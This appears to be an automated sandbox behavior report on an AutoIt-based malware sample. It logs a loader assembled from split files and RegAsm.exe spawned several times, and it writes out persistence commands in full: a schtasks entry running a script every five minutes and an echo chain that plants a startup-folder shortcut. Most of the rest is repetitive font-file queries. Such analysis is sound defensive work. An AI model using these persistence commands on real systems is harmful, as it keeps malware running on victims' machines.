    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Wire + ..\Qualified + ..\Manufacturers + ..\Wesley + ..\Haiti + ..\Done + ..\Drop + ..\Runner + ..\Defend + ..\Judy + ..\Dow CJump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\684126\Intake.pif Intake.pif CJump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeJump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /FJump to behavior
    Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif" "C:\Users\user\AppData\Local\SecureData Technologies\Y"Jump to behavior
    Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif" "C:\Users\user\AppData\Local\SecureData Technologies\Y"Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\turtleharbor.url" & echo url="c:\users\user\appdata\local\securedata technologies\turtleharbor.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\turtleharbor.url" & exit
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\turtleharbor.url" & echo url="c:\users\user\appdata\local\securedata technologies\turtleharbor.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\turtleharbor.url" & exitJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_003688CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,18_2_003688CD
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00374F1C AllocateAndInitializeSid,CheckTokenMembership,FreeSid,18_2_00374F1C
    Source: Intake.pif, 0000000A.00000000.1668778484.0000000000E86000.00000002.00000001.01000000.00000005.sdmp, Intake.pif, 0000000A.00000003.1677117559.00000000040F6000.00000004.00000800.00020000.00000000.sdmp, TurtleHarbor.pif, 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
    Source: TurtleHarbor.pifBinary or memory string: Shell_TrayWnd
    Source: RegAsm.exe, 0000001A.00000002.3204845308.0000000003279000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3855499519.0000000002A5F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: GetProgmanWindow
    Source: RegAsm.exe, 0000001A.00000002.3204845308.0000000003279000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3855499519.0000000002A63000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SetProgmanWindow
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0033885B cpuid 18_2_0033885B
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformationJump to behavior
